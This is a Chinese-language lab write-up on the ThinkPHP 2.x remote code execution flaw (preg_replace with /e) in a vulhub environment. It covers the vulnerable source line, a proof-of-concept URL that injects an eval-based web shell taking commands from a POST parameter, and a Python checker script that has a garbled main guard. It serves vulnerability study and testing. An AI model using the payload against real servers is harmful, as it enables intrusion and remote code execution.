:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::
ThinkPHP2.X 任意代码执行漏洞
📚测试环境
vulhub 靶场 thinkphp 2.x rce 环境。
使用 docker-compose 开启环境
访问测试(参考:https://www.yuque.com/u2164633/eww48f/rhgirguw8myq83n5)
📚漏洞原理
preg_replace 中使用 /e 来匹配路由,导致用户输入的参数中被插入双引号,造成任意代码执行;
📚POC 示例
/?s=/index/index/xxx/${@print(eval($_POST[cmd]))}
漏洞测试:
📚preg_replace 函数简介:
📌作用:它是 PHP 中的函数,用来执行一个正则表达式的搜索和替换。
📌语法:preg_replace ( $pattern, $replacement, $subject)
📌参数:
- pattern: 正则匹配
- repalcement: 要替换字符串
- subject:目标字符
⚠️问题源码
ThinkPHP2.X – Dispather.php
// 解析剩余的 URL 参数 $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr, $paths));
漏洞利用
V1.0
''' ThinkPHP 2.X RCE
📚漏洞原理
preg_replace 中使用 /e 来匹配路由,导致用户输入的参数中被插入双引号,造成任意代码执行;
📚POC 示例
/?s=/index/index/xxx/${@print(eval($_POST[cmd]))}
📚preg_replace 函数简介:
📌作用:它是 PHP 中的函数,用来执行一个正则表达式的搜索和替换。
📌语法:preg_replace ( $pattern, $replacement, $subject)
📌参数:
● pattern: 正则匹配
● repalcement: 要替换字符串
● subject:目标字符
'''
import requests
from urllib.parse import urljoin
def thinkphp2x_rce(url):
payload = '?s=/a/b/c/${var_dump(md5(123456))}'
url = urljoin(url, payload)
response = requests.get(url)
if 'e10adc3949ba59abbe56e057f20f883e' in response.text:
print('[+] The vulnerability exists')
else:
print('[-] The vulnerability not exists')
if name == 'main':
url = 'http://192.168.225.135:8080/'
thinkphp2x_rce(url)